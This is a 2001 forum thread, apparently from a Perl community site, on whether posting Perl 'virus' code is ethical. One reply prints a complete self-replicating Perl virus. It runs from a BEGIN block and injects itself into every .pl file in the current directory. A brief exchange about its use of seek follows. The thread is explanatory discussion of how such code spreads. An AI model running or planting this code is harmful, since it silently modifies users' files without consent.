in reply to Re: Immoral?
in thread Morality of posting Perl "virus" code?

So I need to be concerned with tricks including SEEK and <DATA>, right?

Wrong. Virusses can be "implanted" in many ways, not needing <DATA> or seek. Here's some code I posted to Usenet several years ago; if you run it, it will try to infect all files ending in ".pl" in the current directory. It won't do anything but try to replicate itself. It does its business from a BEGIN block, so even running it with -c cause replication.

#!/opt/perl/bin/perl -w use strict; # HACKED BEGIN { local *ME; if (open ME, $0) { local $/; my $me = <ME>; my ($text) = $me =~ /(# HACKED\n.*?# HACKED\n)/s; if (opendir DIR, ".") { foreach my $file (readdir DIR) { next unless $file =~ /.pl$/; local *FILE; if (open FILE, "+< ./$file") { my $program = <FILE>; unless ($program =~ /# HACKED/) { $program =~ s/\n/\n$text/; } seek FILE, 0, 0; print FILE $program; } close FILE; } } closedir DIR; } close ME; } # HACKED __END__

-- Abigail

Replies are listed 'Best First'.
Re: Re: Immoral?
by blakem (Monsignor) on Jun 29, 2001 at 11:11 UTC
    Not to pick a nit (I agree with your general point) but the above code *does* use seek... around line 20 you have
    seek FILE, 0, 0; print FILE $program;

    -Blake

      Sure, it uses seek (you could easily avoid that, just reopen the file), but the point is that the seek isn't in the program to be attacked. It's not that not using seek makes your programs more secure.

      -- Abigail